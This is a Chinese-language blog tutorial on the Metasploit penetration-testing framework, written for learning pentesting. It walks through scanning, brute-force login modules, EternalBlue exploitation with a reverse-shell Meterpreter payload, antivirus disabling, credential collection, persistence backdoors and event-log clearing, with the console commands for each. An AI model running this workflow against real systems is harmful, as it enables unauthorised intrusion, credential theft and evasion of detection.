Metasploit 学习指北

什么是 Metasploit?

Metasploit 是一个广泛使用的开源渗透测试框架,由 H.D Moore 于 2003 年创建,后由 Rapid 7 收购并进行维护,最初使用 Perl 编写, 后改为了 Ruby 作为主要的开发语言。它为安全专业人员和渗透测试人员提供了一整套工具,用于识别、验证和利用各种网络和应用程序中的安全漏洞。

大多数可用的工具和利用只需要填写一些基本信息,比如目标 IP 地址和端口号,可能还需要填写目标的操作系统或软件版本,只需要进行很少的修改。此外。它还具有轻松上传文件到目标系统并从目标系统下载文件的能力,执行网络扫描,路由网络流量,并同时管理多个会话的能力。

启动控制台

打开终端并通过运行命令 msfconsole 启动 Metasploit 控制台

模块

在 Metasploit 中,模块是执行特定操作的组件,例如扫描或利用目标。模块主要功能包括漏洞利用(exploit)、payload 生成、编码(encoding)、后渗透模块(post-exploitation)、以及社会工程(social engineering)等。

Auxiliaries (辅助模块)

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试,常见辅助模块有:

端口扫描

1
2
3
4
5
6
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

1
2
3
4
5
6
7
8
9
10
11
auxiliary/scanner/ssh/ssh_login		#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举

Exploit (漏洞利用模块)

漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web 应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种 POC 验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。

Payload (攻击载荷模块)

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit 框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。

Post (后期渗透模块)

该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等,常见后渗透模块有:

1
2
3
4
5
6
7
run post/windows/gather/checkvm		#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

Encoders (编码工具模块)

该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS 及类似的安全软件检测出来。

渗透攻击一般步骤

使用 MSF 渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示:

  1. 信息收集(Information Gathering)
    使用模块:Auxiliary Modules
    目标:在开始攻击前,收集关于目标网络和系统的信息,例如 IP 地址、开放端口、服务版本等。
    典型模块:扫描器(Scanner)、嗅探器(Sniffer)等。
    步骤:
    使用 auxiliary/scanner/portscan/tcp 扫描目标的开放端口。
    使用 auxiliary/scanner/http/http_version 获取 Web 服务的版本信息。
  2. 漏洞扫描与验证(Vulnerability Scanning and Validation)
    使用模块:Auxiliary Modules
    目标:在收集到信息后,确定目标系统中存在的漏洞,并验证漏洞的可利用性。
    典型模块:漏洞扫描模块(Vulnerability Scanners)、版本探测模块(Version Detection)。
    步骤:
    使用 auxiliary/scanner/smb/smb_version 获取 SMB 服务的版本信息。
    使用 auxiliary/scanner/vulnerabilities/windows_smb/ms17_010_psexec 验证目标是否易受 EternalBlue 攻击。
  3. 漏洞利用(Exploitation)
    使用模块:Exploit Modules
    目标:利用已识别的漏洞,在目标系统上执行恶意代码以获得访问权限。
    典型模块:漏洞利用模块(Exploit)、payload 生成模块。
    步骤:
    选择合适的漏洞利用模块,例如 exploit/windows/smb/ms17_010_eternalblue。
    配置相应的 payload,例如 windows/meterpreter/reverse_tcp,然后执行漏洞利用。
  4. 后渗透测试(Post-Exploitation)
    使用模块:Post-Exploitation Modules
    目标:在成功获得访问权限后,执行进一步的操作以收集敏感信息、提升权限、隐藏踪迹或维持访问权限。
    典型模块:Meterpreter、权限提升(Privilege Escalation)模块、数据采集模块。
    步骤:
    使用 Meterpreter 进行远程控制,执行命令如 sysinfo 查看系统信息。
    使用 post/windows/gather/credentials/credential_collector 模块收集系统中的密码。
    使用 post/windows/manage/persistence_exe 模块在目标系统中创建持久性后门。
  5. 清理痕迹(Clearing Tracks)
    使用模块:Post-Exploitation Modules
    目标:在完成渗透测试后,清除所有在目标系统上留下的痕迹,以避免被检测和追踪。
    典型模块:日志清除模块(Log Cleanup)、会话关闭模块。
    步骤:
    使用 post/windows/manage/clear_eventlog 模块清除 Windows 事件日志。
    使用 sessions -K 命令终止所有 Meterpreter 会话。
  6. 报告生成(Reporting)
    目标:将渗透测试的过程和结果整理成报告,提供给相关方用于后续修复和改进。
    步骤:
    导出扫描结果和利用过程的日志。
    使用 Metasploit Pro 或其他工具生成测试报告。

搜索模块

Metasploit 内置搜索功能,比如我们想要利用永恒之蓝(MS17-010),只需要搜索 eternalblue:

1
search eternalblue

此外,还可以添加过滤器来实现更加精细化的搜索,比如查找 2023 年纰漏的用于 Windows 平台的 CVE 漏洞:

1
search cve:2023 type:exploit platform:windows

还有一些其他的搜索方法:

1
2
3
search type:post platform:windows rank:normal
search name:backdoor platform:windows rank:excellent
search type:auxiliary name:scanner ftp

关于 Rank 的解释:

Excellent:最安全可靠。不会导致目标服务崩溃。通常用于类似 SQL 注入或 CMD 执行的漏洞。

Great:也非常可靠。利用程序会自动选择或验证正确的目标,而不会造成不稳定性。

Good:可靠的常用软件版本。

Normal:可靠,但仅适用于目标软件的特定版本,并且不会自动检测该版本。

Average:不太可靠,可能很难成功执行。

Low:最不可靠;成功利用的机会低于 50%。

使用模块

使用 use 关键字加模块名字选定需要使用的模块,如:

1
2
use exploit/windows/smb/ms17_010_eternalblue
// 若上一步刚刚搜索,也可使用 use 0(序号) 的形式使用模块

设置选项

选定模块后需要配置该模块的选项信息,可使用 options 命令查看:

使用 set 命令设置配置项信息:

1
2
3
set rhosts 1.1.1.1
set lhost 10.0.0.15
set lport 8810

部分参数的解释:

RHOSTS:远程主机,指定了试图利用的目标系统的地址。

RPORT:远程端口,它指定要攻击的目标系统上的端口。一般来说服务具有默认端口,如 HTTP 服务的默认端口为 80,但根据配置可能会有所不同。

LHOST:本地主机,这是攻击者的机器的地址,将接收来自被利用目标的连接。

LPORT:本地端口,与 RPORT 类似,这是攻击者的计算机上将监听来自目标的传入连接的端口。

设置目标

每个 Metasploit 攻击模块都附带一个预定义的目标列表,该列表指示了已经测试过的系统。如果特定目标没有列出,那么可以默认当前模块未对该目标系统进行过测试。

列表中的第一项通常设置为自动选择目标,但还是建议自行检查确保选择正确的目标系统。

可以使用options命令查看当前选择的目标,使用show targets命令查看支持的目标列表。然后使用set target命令选择相应的目标,后面跟着对应的 ID 或名称。

设置 Payload

开始攻击前的最后一步是选择适当的有效载荷即 Payload,Payload 是在成功攻击后在目标系统上执行的特定代码。

Payload 可以用于各种目的,从为直接访问系统打开绑定或反向 shell,到启动 Meterpreter 会话以进行高级控制。或者是安装后门,尝试规避防病毒保护软件等。

在使用 Metasploit 时,需要决定是使用绑定 shell 还是反向 shell,以及是否要使用分阶段或非分阶段的 Payload。

关于绑定 shell 还是反向 shell 的选择:

绑定 shell 也叫正向 shell,是指目标机器打开一个端口,并等待来自攻击机器的传入连接。

反向 shell 就是反过来的 shell,攻击机器打开一个端口并等待目标机器连接。

在大部分的网络环境下都是有防火墙存在的,目标机器即使开启了一个端口,我们的访问也会被防火墙拦下,而防火墙一般不会拦截内部机器对外的网络流量,所以大多数情况下我们使用反向 shell。

关于分阶段或非分阶段的 Payload:

分阶段 Payload 是通过多个阶段传输的,通常体积较小且更难被检测到。比如“windows/meterpreter/reverse_tcp”。分阶段 Payload 由两部分组成:第一部分是“stager”,它负责建立连接并准备执行环境;第二部分是“stage”,它传输实际的载荷。全部都是自动完成。

相比之下,非分阶段 Payload 一次性发送整个 Payload,通常更大且更容易被检测到,例如:“windows/meterpreter_reverse_tcp”。

要查看可用 Payload 的列表,只需在命令行中输入 show payloads:

使用 set payload 命令选定 Payload:

1
set payload payload/windows/x64/custom/reverse_tcp

发动攻击

我们已经设置了所有选项,选择了目标,并选择了有效载荷,最后一步是执行利用并在目标上获得一个反向 Meterpreter shell。

要运行漏洞利用程序,只需要输入 run 亦或是 exploit。

使用 Meterpreter 可以下载和上传文件,运行其他模块,并执行诸如捕获屏幕截图、记录按键、提升权限、收集系统信息,甚至横向移动网络以侵入其他系统等任务。

参考


Metasploit 学习指北
https://blog.tddt.cc/posts/6.Metasploit-Learning.html
作者
TechPANG
发布于
2024年8月31日
许可协议